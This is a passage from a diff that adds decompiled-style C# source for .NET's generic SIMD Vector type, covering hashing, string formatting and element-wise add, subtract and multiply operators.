HashHelpers.Combine(num, register.int16_1.GetHashCode()); + num = HashHelpers.Combine(num, register.int16_2.GetHashCode()); + num = HashHelpers.Combine(num, register.int16_3.GetHashCode()); + num = HashHelpers.Combine(num, register.int16_4.GetHashCode()); + num = HashHelpers.Combine(num, register.int16_5.GetHashCode()); + num = HashHelpers.Combine(num, register.int16_6.GetHashCode()); + return HashHelpers.Combine(num, register.int16_7.GetHashCode()); + } + if (typeof(T) == typeof(uint)) + { + num = HashHelpers.Combine(num, register.uint32_0.GetHashCode()); + num = HashHelpers.Combine(num, register.uint32_1.GetHashCode()); + num = HashHelpers.Combine(num, register.uint32_2.GetHashCode()); + return HashHelpers.Combine(num, register.uint32_3.GetHashCode()); + } + if (typeof(T) == typeof(int)) + { + num = HashHelpers.Combine(num, register.int32_0.GetHashCode()); + num = HashHelpers.Combine(num, register.int32_1.GetHashCode()); + num = HashHelpers.Combine(num, register.int32_2.GetHashCode()); + return HashHelpers.Combine(num, register.int32_3.GetHashCode()); + } + if (typeof(T) == typeof(ulong)) + { + num = HashHelpers.Combine(num, register.uint64_0.GetHashCode()); + return HashHelpers.Combine(num, register.uint64_1.GetHashCode()); + } + if (typeof(T) == typeof(long)) + { + num = HashHelpers.Combine(num, register.int64_0.GetHashCode()); + return HashHelpers.Combine(num, register.int64_1.GetHashCode()); + } + if (typeof(T) == typeof(float)) + { + num = HashHelpers.Combine(num, register.single_0.GetHashCode()); + num = HashHelpers.Combine(num, register.single_1.GetHashCode()); + num = HashHelpers.Combine(num, register.single_2.GetHashCode()); + return HashHelpers.Combine(num, register.single_3.GetHashCode()); + } + if (typeof(T) == typeof(double)) + { + num = HashHelpers.Combine(num, register.double_0.GetHashCode()); + return HashHelpers.Combine(num, register.double_1.GetHashCode()); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + public override string ToString() + { + return ToString("G", CultureInfo.CurrentCulture); + } + + public string ToString(string format) + { + return ToString(format, CultureInfo.CurrentCulture); + } + + public string ToString(string format, IFormatProvider formatProvider) + { + StringBuilder stringBuilder = new StringBuilder(); + string numberGroupSeparator = NumberFormatInfo.GetInstance(formatProvider).NumberGroupSeparator; + stringBuilder.Append('<'); + for (int i = 0; i < Count - 1; i++) + { + stringBuilder.Append(((IFormattable)(object)this[i]).ToString(format, formatProvider)); + stringBuilder.Append(numberGroupSeparator); + stringBuilder.Append(' '); + } + stringBuilder.Append(((IFormattable)(object)this[Count - 1]).ToString(format, formatProvider)); + stringBuilder.Append('>'); + return stringBuilder.ToString(); + } + + public unsafe static Vector operator +(Vector left, Vector right) + { + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + byte* ptr = stackalloc byte[(int)(uint)Count]; + for (int i = 0; i < Count; i++) + { + ptr[i] = (byte)(object)ScalarAdd(left[i], right[i]); + } + return new Vector(ptr); + } + if (typeof(T) == typeof(sbyte)) + { + sbyte* ptr2 = stackalloc sbyte[(int)(uint)Count]; + for (int j = 0; j < Count; j++) + { + ptr2[j] = (sbyte)(object)ScalarAdd(left[j], right[j]); + } + return new Vector(ptr2); + } + if (typeof(T) == typeof(ushort)) + { + ushort* ptr3 = stackalloc ushort[Count]; + for (int k = 0; k < Count; k++) + { + ptr3[k] = (ushort)(object)ScalarAdd(left[k], right[k]); + } + return new Vector(ptr3); + } + if (typeof(T) == typeof(short)) + { + short* ptr4 = stackalloc short[Count]; + for (int l = 0; l < Count; l++) + { + ptr4[l] = (short)(object)ScalarAdd(left[l], right[l]); + } + return new Vector(ptr4); + } + if (typeof(T) == typeof(uint)) + { + uint* ptr5 = stackalloc uint[Count]; + for (int m = 0; m < Count; m++) + { + ptr5[m] = (uint)(object)ScalarAdd(left[m], right[m]); + } + return new Vector(ptr5); + } + if (typeof(T) == typeof(int)) + { + int* ptr6 = stackalloc int[Count]; + for (int n = 0; n < Count; n++) + { + ptr6[n] = (int)(object)ScalarAdd(left[n], right[n]); + } + return new Vector(ptr6); + } + if (typeof(T) == typeof(ulong)) + { + ulong* ptr7 = stackalloc ulong[Count]; + for (int num = 0; num < Count; num++) + { + ptr7[num] = (ulong)(object)ScalarAdd(left[num], right[num]); + } + return new Vector(ptr7); + } + if (typeof(T) == typeof(long)) + { + long* ptr8 = stackalloc long[Count]; + for (int num2 = 0; num2 < Count; num2++) + { + ptr8[num2] = (long)(object)ScalarAdd(left[num2], right[num2]); + } + return new Vector(ptr8); + } + if (typeof(T) == typeof(float)) + { + float* ptr9 = stackalloc float[Count]; + for (int num3 = 0; num3 < Count; num3++) + { + ptr9[num3] = (float)(object)ScalarAdd(left[num3], right[num3]); + } + return new Vector(ptr9); + } + if (typeof(T) == typeof(double)) + { + double* ptr10 = stackalloc double[Count]; + for (int num4 = 0; num4 < Count; num4++) + { + ptr10[num4] = (double)(object)ScalarAdd(left[num4], right[num4]); + } + return new Vector(ptr10); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + Vector result = default(Vector); + if (typeof(T) == typeof(byte)) + { + result.register.byte_0 = (byte)(left.register.byte_0 + right.register.byte_0); + result.register.byte_1 = (byte)(left.register.byte_1 + right.register.byte_1); + result.register.byte_2 = (byte)(left.register.byte_2 + right.register.byte_2); + result.register.byte_3 = (byte)(left.register.byte_3 + right.register.byte_3); + result.register.byte_4 = (byte)(left.register.byte_4 + right.register.byte_4); + result.register.byte_5 = (byte)(left.register.byte_5 + right.register.byte_5); + result.register.byte_6 = (byte)(left.register.byte_6 + right.register.byte_6); + result.register.byte_7 = (byte)(left.register.byte_7 + right.register.byte_7); + result.register.byte_8 = (byte)(left.register.byte_8 + right.register.byte_8); + result.register.byte_9 = (byte)(left.register.byte_9 + right.register.byte_9); + result.register.byte_10 = (byte)(left.register.byte_10 + right.register.byte_10); + result.register.byte_11 = (byte)(left.register.byte_11 + right.register.byte_11); + result.register.byte_12 = (byte)(left.register.byte_12 + right.register.byte_12); + result.register.byte_13 = (byte)(left.register.byte_13 + right.register.byte_13); + result.register.byte_14 = (byte)(left.register.byte_14 + right.register.byte_14); + result.register.byte_15 = (byte)(left.register.byte_15 + right.register.byte_15); + } + else if (typeof(T) == typeof(sbyte)) + { + result.register.sbyte_0 = (sbyte)(left.register.sbyte_0 + right.register.sbyte_0); + result.register.sbyte_1 = (sbyte)(left.register.sbyte_1 + right.register.sbyte_1); + result.register.sbyte_2 = (sbyte)(left.register.sbyte_2 + right.register.sbyte_2); + result.register.sbyte_3 = (sbyte)(left.register.sbyte_3 + right.register.sbyte_3); + result.register.sbyte_4 = (sbyte)(left.register.sbyte_4 + right.register.sbyte_4); + result.register.sbyte_5 = (sbyte)(left.register.sbyte_5 + right.register.sbyte_5); + result.register.sbyte_6 = (sbyte)(left.register.sbyte_6 + right.register.sbyte_6); + result.register.sbyte_7 = (sbyte)(left.register.sbyte_7 + right.register.sbyte_7); + result.register.sbyte_8 = (sbyte)(left.register.sbyte_8 + right.register.sbyte_8); + result.register.sbyte_9 = (sbyte)(left.register.sbyte_9 + right.register.sbyte_9); + result.register.sbyte_10 = (sbyte)(left.register.sbyte_10 + right.register.sbyte_10); + result.register.sbyte_11 = (sbyte)(left.register.sbyte_11 + right.register.sbyte_11); + result.register.sbyte_12 = (sbyte)(left.register.sbyte_12 + right.register.sbyte_12); + result.register.sbyte_13 = (sbyte)(left.register.sbyte_13 + right.register.sbyte_13); + result.register.sbyte_14 = (sbyte)(left.register.sbyte_14 + right.register.sbyte_14); + result.register.sbyte_15 = (sbyte)(left.register.sbyte_15 + right.register.sbyte_15); + } + else if (typeof(T) == typeof(ushort)) + { + result.register.uint16_0 = (ushort)(left.register.uint16_0 + right.register.uint16_0); + result.register.uint16_1 = (ushort)(left.register.uint16_1 + right.register.uint16_1); + result.register.uint16_2 = (ushort)(left.register.uint16_2 + right.register.uint16_2); + result.register.uint16_3 = (ushort)(left.register.uint16_3 + right.register.uint16_3); + result.register.uint16_4 = (ushort)(left.register.uint16_4 + right.register.uint16_4); + result.register.uint16_5 = (ushort)(left.register.uint16_5 + right.register.uint16_5); + result.register.uint16_6 = (ushort)(left.register.uint16_6 + right.register.uint16_6); + result.register.uint16_7 = (ushort)(left.register.uint16_7 + right.register.uint16_7); + } + else if (typeof(T) == typeof(short)) + { + result.register.int16_0 = (short)(left.register.int16_0 + right.register.int16_0); + result.register.int16_1 = (short)(left.register.int16_1 + right.register.int16_1); + result.register.int16_2 = (short)(left.register.int16_2 + right.register.int16_2); + result.register.int16_3 = (short)(left.register.int16_3 + right.register.int16_3); + result.register.int16_4 = (short)(left.register.int16_4 + right.register.int16_4); + result.register.int16_5 = (short)(left.register.int16_5 + right.register.int16_5); + result.register.int16_6 = (short)(left.register.int16_6 + right.register.int16_6); + result.register.int16_7 = (short)(left.register.int16_7 + right.register.int16_7); + } + else if (typeof(T) == typeof(uint)) + { + result.register.uint32_0 = left.register.uint32_0 + right.register.uint32_0; + result.register.uint32_1 = left.register.uint32_1 + right.register.uint32_1; + result.register.uint32_2 = left.register.uint32_2 + right.register.uint32_2; + result.register.uint32_3 = left.register.uint32_3 + right.register.uint32_3; + } + else if (typeof(T) == typeof(int)) + { + result.register.int32_0 = left.register.int32_0 + right.register.int32_0; + result.register.int32_1 = left.register.int32_1 + right.register.int32_1; + result.register.int32_2 = left.register.int32_2 + right.register.int32_2; + result.register.int32_3 = left.register.int32_3 + right.register.int32_3; + } + else if (typeof(T) == typeof(ulong)) + { + result.register.uint64_0 = left.register.uint64_0 + right.register.uint64_0; + result.register.uint64_1 = left.register.uint64_1 + right.register.uint64_1; + } + else if (typeof(T) == typeof(long)) + { + result.register.int64_0 = left.register.int64_0 + right.register.int64_0; + result.register.int64_1 = left.register.int64_1 + right.register.int64_1; + } + else if (typeof(T) == typeof(float)) + { + result.register.single_0 = left.register.single_0 + right.register.single_0; + result.register.single_1 = left.register.single_1 + right.register.single_1; + result.register.single_2 = left.register.single_2 + right.register.single_2; + result.register.single_3 = left.register.single_3 + right.register.single_3; + } + else if (typeof(T) == typeof(double)) + { + result.register.double_0 = left.register.double_0 + right.register.double_0; + result.register.double_1 = left.register.double_1 + right.register.double_1; + } + return result; + } + + public unsafe static Vector operator -(Vector left, Vector right) + { + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + byte* ptr = stackalloc byte[(int)(uint)Count]; + for (int i = 0; i < Count; i++) + { + ptr[i] = (byte)(object)ScalarSubtract(left[i], right[i]); + } + return new Vector(ptr); + } + if (typeof(T) == typeof(sbyte)) + { + sbyte* ptr2 = stackalloc sbyte[(int)(uint)Count]; + for (int j = 0; j < Count; j++) + { + ptr2[j] = (sbyte)(object)ScalarSubtract(left[j], right[j]); + } + return new Vector(ptr2); + } + if (typeof(T) == typeof(ushort)) + { + ushort* ptr3 = stackalloc ushort[Count]; + for (int k = 0; k < Count; k++) + { + ptr3[k] = (ushort)(object)ScalarSubtract(left[k], right[k]); + } + return new Vector(ptr3); + } + if (typeof(T) == typeof(short)) + { + short* ptr4 = stackalloc short[Count]; + for (int l = 0; l < Count; l++) + { + ptr4[l] = (short)(object)ScalarSubtract(left[l], right[l]); + } + return new Vector(ptr4); + } + if (typeof(T) == typeof(uint)) + { + uint* ptr5 = stackalloc uint[Count]; + for (int m = 0; m < Count; m++) + { + ptr5[m] = (uint)(object)ScalarSubtract(left[m], right[m]); + } + return new Vector(ptr5); + } + if (typeof(T) == typeof(int)) + { + int* ptr6 = stackalloc int[Count]; + for (int n = 0; n < Count; n++) + { + ptr6[n] = (int)(object)ScalarSubtract(left[n], right[n]); + } + return new Vector(ptr6); + } + if (typeof(T) == typeof(ulong)) + { + ulong* ptr7 = stackalloc ulong[Count]; + for (int num = 0; num < Count; num++) + { + ptr7[num] = (ulong)(object)ScalarSubtract(left[num], right[num]); + } + return new Vector(ptr7); + } + if (typeof(T) == typeof(long)) + { + long* ptr8 = stackalloc long[Count]; + for (int num2 = 0; num2 < Count; num2++) + { + ptr8[num2] = (long)(object)ScalarSubtract(left[num2], right[num2]); + } + return new Vector(ptr8); + } + if (typeof(T) == typeof(float)) + { + float* ptr9 = stackalloc float[Count]; + for (int num3 = 0; num3 < Count; num3++) + { + ptr9[num3] = (float)(object)ScalarSubtract(left[num3], right[num3]); + } + return new Vector(ptr9); + } + if (typeof(T) == typeof(double)) + { + double* ptr10 = stackalloc double[Count]; + for (int num4 = 0; num4 < Count; num4++) + { + ptr10[num4] = (double)(object)ScalarSubtract(left[num4], right[num4]); + } + return new Vector(ptr10); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + Vector result = default(Vector); + if (typeof(T) == typeof(byte)) + { + result.register.byte_0 = (byte)(left.register.byte_0 - right.register.byte_0); + result.register.byte_1 = (byte)(left.register.byte_1 - right.register.byte_1); + result.register.byte_2 = (byte)(left.register.byte_2 - right.register.byte_2); + result.register.byte_3 = (byte)(left.register.byte_3 - right.register.byte_3); + result.register.byte_4 = (byte)(left.register.byte_4 - right.register.byte_4); + result.register.byte_5 = (byte)(left.register.byte_5 - right.register.byte_5); + result.register.byte_6 = (byte)(left.register.byte_6 - right.register.byte_6); + result.register.byte_7 = (byte)(left.register.byte_7 - right.register.byte_7); + result.register.byte_8 = (byte)(left.register.byte_8 - right.register.byte_8); + result.register.byte_9 = (byte)(left.register.byte_9 - right.register.byte_9); + result.register.byte_10 = (byte)(left.register.byte_10 - right.register.byte_10); + result.register.byte_11 = (byte)(left.register.byte_11 - right.register.byte_11); + result.register.byte_12 = (byte)(left.register.byte_12 - right.register.byte_12); + result.register.byte_13 = (byte)(left.register.byte_13 - right.register.byte_13); + result.register.byte_14 = (byte)(left.register.byte_14 - right.register.byte_14); + result.register.byte_15 = (byte)(left.register.byte_15 - right.register.byte_15); + } + else if (typeof(T) == typeof(sbyte)) + { + result.register.sbyte_0 = (sbyte)(left.register.sbyte_0 - right.register.sbyte_0); + result.register.sbyte_1 = (sbyte)(left.register.sbyte_1 - right.register.sbyte_1); + result.register.sbyte_2 = (sbyte)(left.register.sbyte_2 - right.register.sbyte_2); + result.register.sbyte_3 = (sbyte)(left.register.sbyte_3 - right.register.sbyte_3); + result.register.sbyte_4 = (sbyte)(left.register.sbyte_4 - right.register.sbyte_4); + result.register.sbyte_5 = (sbyte)(left.register.sbyte_5 - right.register.sbyte_5); + result.register.sbyte_6 = (sbyte)(left.register.sbyte_6 - right.register.sbyte_6); + result.register.sbyte_7 = (sbyte)(left.register.sbyte_7 - right.register.sbyte_7); + result.register.sbyte_8 = (sbyte)(left.register.sbyte_8 - right.register.sbyte_8); + result.register.sbyte_9 = (sbyte)(left.register.sbyte_9 - right.register.sbyte_9); + result.register.sbyte_10 = (sbyte)(left.register.sbyte_10 - right.register.sbyte_10); + result.register.sbyte_11 = (sbyte)(left.register.sbyte_11 - right.register.sbyte_11); + result.register.sbyte_12 = (sbyte)(left.register.sbyte_12 - right.register.sbyte_12); + result.register.sbyte_13 = (sbyte)(left.register.sbyte_13 - right.register.sbyte_13); + result.register.sbyte_14 = (sbyte)(left.register.sbyte_14 - right.register.sbyte_14); + result.register.sbyte_15 = (sbyte)(left.register.sbyte_15 - right.register.sbyte_15); + } + else if (typeof(T) == typeof(ushort)) + { + result.register.uint16_0 = (ushort)(left.register.uint16_0 - right.register.uint16_0); + result.register.uint16_1 = (ushort)(left.register.uint16_1 - right.register.uint16_1); + result.register.uint16_2 = (ushort)(left.register.uint16_2 - right.register.uint16_2); + result.register.uint16_3 = (ushort)(left.register.uint16_3 - right.register.uint16_3); + result.register.uint16_4 = (ushort)(left.register.uint16_4 - right.register.uint16_4); + result.register.uint16_5 = (ushort)(left.register.uint16_5 - right.register.uint16_5); + result.register.uint16_6 = (ushort)(left.register.uint16_6 - right.register.uint16_6); + result.register.uint16_7 = (ushort)(left.register.uint16_7 - right.register.uint16_7); + } + else if (typeof(T) == typeof(short)) + { + result.register.int16_0 = (short)(left.register.int16_0 - right.register.int16_0); + result.register.int16_1 = (short)(left.register.int16_1 - right.register.int16_1); + result.register.int16_2 = (short)(left.register.int16_2 - right.register.int16_2); + result.register.int16_3 = (short)(left.register.int16_3 - right.register.int16_3); + result.register.int16_4 = (short)(left.register.int16_4 - right.register.int16_4); + result.register.int16_5 = (short)(left.register.int16_5 - right.register.int16_5); + result.register.int16_6 = (short)(left.register.int16_6 - right.register.int16_6); + result.register.int16_7 = (short)(left.register.int16_7 - right.register.int16_7); + } + else if (typeof(T) == typeof(uint)) + { + result.register.uint32_0 = left.register.uint32_0 - right.register.uint32_0; + result.register.uint32_1 = left.register.uint32_1 - right.register.uint32_1; + result.register.uint32_2 = left.register.uint32_2 - right.register.uint32_2; + result.register.uint32_3 = left.register.uint32_3 - right.register.uint32_3; + } + else if (typeof(T) == typeof(int)) + { + result.register.int32_0 = left.register.int32_0 - right.register.int32_0; + result.register.int32_1 = left.register.int32_1 - right.register.int32_1; + result.register.int32_2 = left.register.int32_2 - right.register.int32_2; + result.register.int32_3 = left.register.int32_3 - right.register.int32_3; + } + else if (typeof(T) == typeof(ulong)) + { + result.register.uint64_0 = left.register.uint64_0 - right.register.uint64_0; + result.register.uint64_1 = left.register.uint64_1 - right.register.uint64_1; + } + else if (typeof(T) == typeof(long)) + { + result.register.int64_0 = left.register.int64_0 - right.register.int64_0; + result.register.int64_1 = left.register.int64_1 - right.register.int64_1; + } + else if (typeof(T) == typeof(float)) + { + result.register.single_0 = left.register.single_0 - right.register.single_0; + result.register.single_1 = left.register.single_1 - right.register.single_1; + result.register.single_2 = left.register.single_2 - right.register.single_2; + result.register.single_3 = left.register.single_3 - right.register.single_3; + } + else if (typeof(T) == typeof(double)) + { + result.register.double_0 = left.register.double_0 - right.register.double_0; + result.register.double_1 = left.register.double_1 - right.register.double_1; + } + return result; + } + + public unsafe static Vector operator *(Vector left, Vector right) + { + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + byte* ptr = stackalloc byte[(int)(uint)Count]; + for (int i = 0; i < Count; i++) + { + ptr[i] = (byte)(object)ScalarMultiply(left[i], right[i]); + } + return new Vector(ptr); + } + if (typeof(T) == typeof(sbyte)) + { + sbyte* ptr2 = stackalloc sbyte[(int)(uint)Count]; + for (int j = 0; j < Count; j++) + { + ptr2[j] = (sbyte)(object)ScalarMultiply(left[j], right[j]); + } + return new Vector(ptr2); + } + if (typeof(T) == typeof(ushort)) + { + ushort* ptr3 = stackalloc ushort[Count]; + for (int k = 0; k < Count; k++) + { + ptr3[k] = (ushort)(object)ScalarMultiply(left[k], right[k]); + } + return new Vector(ptr3); + } + if (typeof(T) == typeof(short)) + { + short* ptr4 = stackalloc short[Count]; + for (int l = 0; l < Count; l++) + { + ptr4[l] = (short)(object)ScalarMultiply(left[l], right[l]); + } + return new Vector(ptr4); + } + if (typeof(T) == typeof(uint)) + { + uint* ptr5 = stackalloc uint[Count]; + for (int m = 0; m < Count; m++) + { + ptr5[m] = (uint)(object)ScalarMultiply(left[m], right[m]); + } + return new Vector(ptr5); + } + if (typeof(T) == typeof(int)) + { + int* ptr6 = stackalloc int[Count]; + for (int n = 0; n < Count; n++) + { + ptr6[n] = (int)(object)ScalarMultiply(left[n], right[n]); + } + return new Vector(ptr6); + } + if (typeof(T) == typeof(ulong)) + { + ulong* ptr7 = stackalloc ulong[Count]; + for (int num = 0; num < Count; num++) + { + ptr7[num] = (ulong)(object)ScalarMultiply(left[num], right[num]); + } + return new Vector(ptr7); + } + if (typeof(T) == typeof(long)) + { + long* ptr8 = stackalloc long[Count]; + for (int num2 = 0; num2 < Count; num2++) + { + ptr8[num2] = (long)(object)ScalarMultiply(left[num2], right[num2]); + } + return new Vector(ptr8); + } + if (typeof(T) == typeof(float)) + { + float* ptr9 = stackalloc float[Count]; + for (int num3 = 0; num3 < Count; num3++) + { + ptr9[num3] = (float)(object)ScalarMultiply(left[num3], right[num3]); + } + return new Vector(ptr9); + } + if (typeof(T) == typeof(double)) + { + double* ptr10 = stackalloc double[Count]; + for (int num4 = 0; num4 < Count; num4++) + { + ptr10[num4] = (double)(object)ScalarMultiply(left[num4], right[num4]); + } + return new Vector(ptr10); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + Vector result = default(Vector); + if (typeof(T) == typeof(byte)) + { + result.register.byte_0 = (byte)(left.register.byte_0 * right.register.byte_0); + result.register.byte_1 = (byte)(left.register.byte_1 * right.register.byte_1); + result.register.byte_2 = (byte)(left.register.byte_2 * right.register.byte_2); + result.register.byte_3 = (byte)(left.register.byte_3 * right.register.byte_3); + result.register.byte_4 = (byte)(left.register.byte_4 * right.register.byte_4); + result.register.byte_5 = (byte)(left.register.byte_5 * right.register.byte_5); + result.register.byte_6 = (byte)(left.register.byte_6 * right.register.byte_6); + result.register.byte_7 = (byte)(left.register.byte_7 * right.register.byte_7); + result.register.byte_8 = (byte)(left.register.byte_8 * right.register.byte_8); + result.register.byte_9 = (byte)(left.register.byte_9 * right.register.byte_9); + result.register.byte_10 = (byte)(left.register.byte_10 * right.register.byte_10); + result.register.byte_11 = (byte)(left.register.byte_11 * right.register.byte_11); + result.register.byte_12 = (byte)(left.register.byte_12 * right.register.byte_12); + result.register.byte_13 = (byte)(left.register.byte_13 * right.register.byte_13); + result.register.byte_14 = (byte)(left.register.byte_14 * right.register.byte_14); + result.register.byte_15 = (byte)(left.register.byte_15 * right.register.byte_15); + } + else if (typeof(T) == typeof(sbyte)) + { + result.register.sbyte_0 = (sbyte)(left.register.sbyte_0 * right.register.sbyte_0); + result.register.sbyte_1 = (sbyte)(left.register.sbyte_1 * right.register.sbyte_1); + result.register.sbyte_2 = (sbyte)(left.register.sbyte_2 * right.register.sbyte_2); + result.register.sbyte_3 = (sbyte)(left.register.sbyte_3 * right.register.sbyte_3); + result.register.sbyte_4 = (sbyte)(left.register.sbyte_4 * right.register.sbyte_4); + result.register.sbyte_5 = (sbyte)(left.register.sbyte_5 * right.register.sbyte_5); + result.register.sbyte_6 = (sbyte)(left.register.sbyte_6 * right.register.sbyte_6); + result.register.sbyte_7 = (sbyte)(left.register.sbyte_7 * right.register.sbyte_7); + result.register.sbyte_8 = (sbyte)(left.register.sbyte_8 * right.register.sbyte_8); + result.register.sbyte_9 = (sbyte)(left.register.sbyte_9 * right.register.sbyte_9); + result.register.sbyte_10 = (sbyte)(left.register.sbyte_10 * right.register.sbyte_10); + result.register.sbyte_11 = (sbyte)(left.register.sbyte_11 * right.register.sbyte_11); + result.register.sbyte_12 = (sbyte)(left.register.sbyte_12 * right.register.sbyte_12); + result.register.sbyte_13 = (sbyte)(left.register.sbyte_13 * right.register.sbyte_13); + result.register.sbyte_14 = (sbyte)(left.register.sbyte_14 * right.register.sbyte_14); + result.register.sbyte_15 = (sbyte)(left.register.sbyte_15 * right.register.sbyte_15); + } + else if (typeof(T) == typeof(ushort)) + { + result.register.uint16_0 = (ushort)(left.register.uint16_0 * right.register.uint16_0); + result.register.uint16_1 = (ushort)(left.register.uint16_1 * right.register.uint16_1); + result.register.uint16_2 = (ushort)(left.register.uint16_2 * right.register.uint16_2); + result.register.uint16_3 = (ushort)(left.register.uint16_3 * right.register.uint16_3); + result.register.uint16_4 = (ushort)(left.register.uint16_4 * right.register.uint16_4); + result.register.uint16_5 = (ushort)(left.register.uint16_5 * right.register.uint16_5); + result.register.uint16_6 = (ushort)(left.register.uint16_6 * right.register.uint16_6); + result.register.uint16_7 = (ushort)(left.register.uint16_7 * right.register.uint16_7); + } + else if (typeof(T) == typeof(short)) + { + result.register.int16_0 = (short)(left.register.int16_0 * right.register.int16_0); + result.register.int16_1 = (short)(left.register.int16_1 * right.register.int16_1); + result.register.int16_2 = (short)(left.register.int16_2 * right.register.int16_2); + result.register.int16_3 = (short)(left.register.int16_3 * right.register.int16_3); + result.register.int16_4 = (short)(left.register.int16_4 * right.register.int16_4); + result.register.int16_5 = (short)(left.register.int16_5 * right.register.int16_5); + result.register.int16_6 = (short)(left.register.int16_6 * right.register.int16_6); + result.register.int16_7 = (short)(left.register.int16_7 * right.register.int16_7); + } + else if (typeof(T) == typeof(uint)) + { + result.register.uint32_0 = left.register.uint32_0 * right.register.uint32_0; + result.register.uint32_1 = left.register.uint32_1 * right.register.uint32_1; + result.register.uint32_2 = left.register.uint32_2 * right.register.uint32_2; + result.register.uint32_3 = left.register.uint32_3 * right.register.uint32_3; + } + else if (typeof(T) == typeof(int)) + { + result.register.int32_0 = left.register.int32_0 * right.register.int32_0; + result.register.int32_1 = left.register.int32_1 * right.register.int32_1; + result.register.int32_2 = left.register.int32_2 * right.register.int32_2; + result.register.int32_3 = left.register.int32_3 * right.register.int32_3; + } + else if (typeof(T) == typeof(ulong)) + { + result.register.uint64_0 = left.register.uint64_0 * right.register.uint64_0; + result.register.uint64_1 = left.register.uint64_1 * right.register.uint64_1; + } + else if (typeof(T) == typeof(long)) + { + result.register.int64_0 = left.register.int64_0 * right.register.int64_0; + result.register.int64_1 = left.register.int64_1 * right.register.int64_1; + } + else if (typeof(T) == typeof(float)) + { + result.register.single_0 = left.register.single_0 * right.register.single_0; + result.register.single_1 = left.register.single_1 * right.register.single_1; + result.register.single_2 = left.register.single_2 * right.register.single_2; + result.register.single_3 = left.register.single_3 * right.register.single_3; + } + else if (typeof(T) == typeof(double)) + { + result.register.double_0 = left.register.double_0 * right.register.double_0; + result.register.double_1 = left.register.double_1 * right.register.double_1; + } + return result; + } + + public static Vector operator *(Vector value, T factor) + { + if (Vector.IsHardwareAccelerated) + { + return new Vector(factor) * value; + } + Vector result = default(Vector); + if (typeof(T) == typeof(byte)) + { + result.register.byte_0 = (byte)(value.register.byte_0 * (byte)(object)factor); + result.register.byte_1 = (byte)(value.register.byte_1 * (byte)(object)factor); + result.register.byte_2 = (byte)(value.register.byte_2 * (byte)(object)factor); + result.register.byte_3 = (byte)(value.register.byte_3 * (byte)(object)factor); + result.register.byte_4 = (byte)(value.register.byte_4 * (byte)(object)factor); + result.register.byte_5 = (byte)(value.register.byte_5 * (byte)(object)factor); + result.register.byte_6 = (byte)(value.register.byte_6 * (byte)(object)factor); + result.register.byte_7 = (byte)(value.register.byte_7 * (byte)(object)factor); + result.register.byte_8 = (byte)(value.register.byte_8 * (byte)(object)factor); + result.register.byte_9 = (byte)(value.register.byte_9 * (byte)(object)factor); + result.register.byte_10 = (byte)(value.register.byte_10 * (byte)(object)factor); + result.register.byte_11 = (byte)(value.register.byte_11 * (byte)(object)factor); + result.register.byte_12 = (byte)(value.register.byte_12 * (byte)(object)factor); + result.register.byte_13 = (byte)(value.register.byte_13 * (byte)(object)factor); + result.register.byte_14 = (byte)(value.register.byte_14 * (byte)(object)factor); + result.register.byte_15 = (byte)(value.register.byte_15 * (byte)(object)factor); + } + else if (typeof(T) == typeof(sbyte)) + { + result.register.sbyte_0 = (sbyte)(value.register.sbyte_0 * (sbyte)(object)factor); + result.register.sbyte_1 = (sbyte)(value.register.sbyte_1 * (sbyte)(object)factor); + result.register.sbyte_2 = (sbyte)(value.register.sbyte_2 * (sbyte)(object)factor); + result.register.sbyte_3 = (sbyte)(value.register.sbyte_3 * (sbyte)(object)factor); + result.register.sbyte_4 = (sbyte)(value.register.sbyte_4 * (sbyte)(object)factor); + result.register.sbyte_5 = (sbyte)(value.register.sbyte_5 * (sbyte)(object)factor); + result.register.sbyte_6 = (sbyte)(value.register.sbyte_6 * (sbyte)(object)factor); + result.register.sbyte_7 = (sbyte)(value.register.sbyte_7 * (sbyte)(object)factor); + result.register.sbyte_8 = (sbyte)(value.register.sbyte_8 * (sbyte)(object)factor); + result.register.sbyte_9 = (sbyte)(value.register.sbyte_9 * (sbyte)(object)factor); + result.register.sbyte_10 = (sbyte)(value.register.sbyte_10 * (sbyte)(object)factor); + result.register.sbyte_11 = (sbyte)(value.register.sbyte_11 * (sbyte)(object)factor); + result.register.sbyte_12 = (sbyte)(value.register.sbyte_12 * (sbyte)(object)factor); + result.register.sbyte_13 = (sbyte)(value.register.sbyte_13 * (sbyte)(object)factor); + result.register.sbyte_14 = (sbyte)(value.register.sbyte_14 * (sbyte)(object)factor); + result.register.sbyte_15 = (sbyte)(value.register.sbyte_15 * (sbyte)(object)factor); + } + else if (typeof(T) == typeof(ushort)) + { + result.register.uint16_0 = (ushort)(value.register.uint16_0 * (ushort)(object)factor); + result.register.uint16_1 = (ushort)(value.register.uint16_1 * (ushort)(object)factor); + result.register.uint16_2 = (ushort)(value.register.uint16_2 * (ushort)(object)factor); + result.register.uint16_3 = (ushort)(value.register.uint16_3 * (ushort)(object)factor); + result.register.uint16_4 = (ushort)(value.register.uint16_4 * (ushort)(object)factor); + result.register.uint16_5 = (ushort)(value.register.uint16_5 * (ushort)(object)factor); + result.register.uint16_6 = (ushort)(value.register.uint16_6 * (ushort)(object)factor); + result.register.uint16_7 = (ushort)(value.register.uint16_7 * (ushort)(object)factor); + } + else if (typeof(T) == typeof(short)) + { + result.register.int16_0 = (short)(value.register.int16_0 * (short)(object)factor); + result.register.int16_1 = (short)(value.register.int16_1 * (short)(object)factor); + result.register.int16_2 = (short)(value.register.int16_2 * (short)(object)factor); + result.register.int16_3 = (short)(value.register.int16_3 * (short)(object)factor); + result.register.int16_4 = (short)(value.register.int16_4 * (short)(object)factor); + result.register.int16_5 = (short)(value.register.int16_5 * (short)(object)factor); + result.register.int16_6 = (short)(value.register.int16_6 * (short)(object)factor); + result.register.int16_7 = (short)(value.register.int16_7 * (short)(object)factor); + } + else if (typeof(T) == typeof(uint)) + { + result.register.uint32_0 = value.register.uint32_0 * (uint)(object)factor; + result.register.uint32_1 = value.register.uint32_1 * (uint)(object)factor; + result.register.uint32_2 = value.register.uint32_2 * (uint)(object)factor; + result.register.uint32_3 = value.register.uint32_3 * (uint)(object)factor; + } + else if (typeof(T) == typeof(int)) + { + 